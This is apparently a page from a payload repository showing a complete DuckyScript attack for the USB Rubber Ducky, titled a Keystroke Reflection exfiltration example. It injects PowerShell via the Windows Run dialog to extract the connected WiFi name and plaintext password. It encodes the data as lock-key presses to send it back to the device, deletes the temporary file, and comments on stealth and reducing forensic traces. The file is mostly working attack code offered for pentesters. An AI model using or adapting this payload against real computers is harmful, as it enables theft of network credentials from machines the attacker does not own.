Path: blob/master/payloads/examples/Exfiltration/Exfiltration-example3.txt
2968 views
REM Example Simple Keystroke Reflection Attack for Windows1REM Saves currently connected wireless LAN profile to DUCKY2ATTACKMODE HID3LED_OFF4DELAY 20005SAVE_HOST_KEYBOARD_LOCK_STATE6$_EXFIL_MODE_ENABLED = TRUE7$_EXFIL_LEDS_ENABLED = TRUE89REM Store the currently connected WiFi SSID & Key to %tmp%\z10GUI r11DELAY 10012STRINGLN powershell "netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\z"13DELAY 1001415REM Convert the stored creds into CAPSLOCK and NUMLOCK values.16GUI r17DELAY 10018STRINGLN powershell "foreach($b in $(cat $env:tmp\z -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >$env:tmp\z"19DELAY 1002021REM Reflect the CAPSLOCK and NUMLOCK Keystrokes back to the Ducky.22GUI r23DELAY 10024STRINGLN powershell "$o=(cat $env:tmp\z);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\z"25DELAY 1002627REM The final SCROLLLOCK keystroke indicates EXFIL is complete.28WAIT_FOR_SCROLL_CHANGE29LED_G30$_EXFIL_MODE_ENABLED = FALSE31RESTORE_HOST_KEYBOARD_LOCK_STATE3233343536REM Per the initial ATTACKMODE command. the USB Rubber Ducky will act as a HID keyboard.3738REM SAVE_HOST_KEYBOARD_LOCK_STATE will save the state of the lock key LEDs, as reported by the target, so that they may be restored to their original configuration after the Keystroke Reflection attack is performed.3940REM $_EXFIL_MODE_ENABLED = TRUE will instruct the USB Rubber Ducky to listen for control codes on the USB HID OUT endpoint, saving each change as a bit within loot.bin.4142REM $_EXFIL_LEDS_ENABLED = TRUE will show flash the USB Rubber Ducky LED as loot is saved, useful when debugging. Set as FALSE for a more stealthy operation, however the flash drive case should sufficiently conceal the LED.4344REM The first powershell one-liner, injected into the run dialog, will save the currently connected WiFi network name (SSID) and plaintext passphrase to a temporary file. The file, known as the "loot", is saved as "z" within %TEMP% ($env:tmp\z) directory, encoded in standard ASCII.4546REM The second powershell one-liner will convert the temporary ASCII loot file, bit by bit, into a set of caps lock and num lock key values. It will conclude this file with a final scroll lock value.4748REM The third and final powershell one-liner, in software, will "press" the lock keys indicated by the temporary file via the SendKeys .NET class. The effect of this will be the binary values of the converted loot sent to the USB Rubber Ducky, one bit at a time, via the USB HID OUT endpoint.4950REM Additionally, the temporary file will then be removed. The pentester may consider including additional techniques for obfuscation, optimization and reducing the forensic footprint.5152REM WAIT_FOR_SCROLL_CHANGE will get triggered when the final key "press" from the SendKeys class is executed, thereby continuing the payload.5354REM Finally $_EXFIL_MODE_ENABLED = FALSE will instruct the USB Rubber Ducky to conclude saving the received control codes in loot.bin and RESTORE_HOST_KEYBOARD_LOCK_STATE will restore the lock key LEDs to their original state before the exfiltration began.5556